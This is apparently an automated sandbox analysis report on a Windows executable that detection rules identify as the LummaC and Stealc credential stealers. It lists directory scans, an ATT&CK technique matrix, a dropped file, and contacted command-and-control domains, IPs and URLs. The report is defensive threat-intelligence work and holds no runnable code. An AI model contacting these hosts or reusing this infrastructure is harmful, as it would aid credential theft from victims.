Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior

Source: C:\Users\user\Desktop\Bire1g8ahY.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000000.00000003.1459996231.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1460101126.0000000001309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Bire1g8ahY.exe PID: 7312, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Bire1g8ahY.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1765472956.00000000000C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1678261591.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1I4F16VK8DFW90DXD.exe PID: 4132, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Bypass User Account Control	361 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	361 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Bire1g8ahY.exe	55%	ReversingLabs	Win32.Ransomware.StealC
Bire1g8ahY.exe	100%	Avira	TR/Crypt.XPACK.Gen
Bire1g8ahY.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
sustainskelet.lat	unknown	unknown	false	high
crosshuaht.lat	unknown	unknown	false	high
rapeflowwj.lat	unknown	unknown	false	high
grannyejh.lat	unknown	unknown	false	high
aspecteirs.lat	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high
discokeyus.lat	unknown	unknown	false	high
energyaffai.lat	unknown	unknown	false	high
necklacebudi.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
energyaffai.lat	false	high
https://lev-tolstoi.com/api	false	high
grannyejh.lat	false	high
necklacebudi.lat	false	high
crosshuaht.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://player.vimeo.com	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/RP	1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com/x	Bire1g8ahY.exe, 00000000.00000003.1432793541.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1458027544.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1433032479.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1457886992.0000000005ABF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1457694618.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1432927562.0000000005ABF000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/?subsection=broadcasts	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/t	Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://store.steampowered.com/subscriber_agreement/	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.gstatic.cn/recaptcha/	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/ws	1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A07000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstaticp	Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.valvesoftware.com/legal.htm	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.youtube.com	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
http://store.steampowered.com	Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://s.ytimg.com;	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steam.tv/	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/2U	Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com/piHt	Bire1g8ahY.exe, 00000000.00000003.1386534600.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com/	Bire1g8ahY.exe, 00000000.00000003.1604146040.000000000133C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484337642.0000000001340000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1523470772.0000000001340000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1411225082.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://store.steampowered.com/privacy_agreement/	Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/points/shop/	Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206a	1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false	high
https://sketchfab.com	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lv.queniujq.cn	Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/profiles/76561199724331900/inventory/	Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	false	high
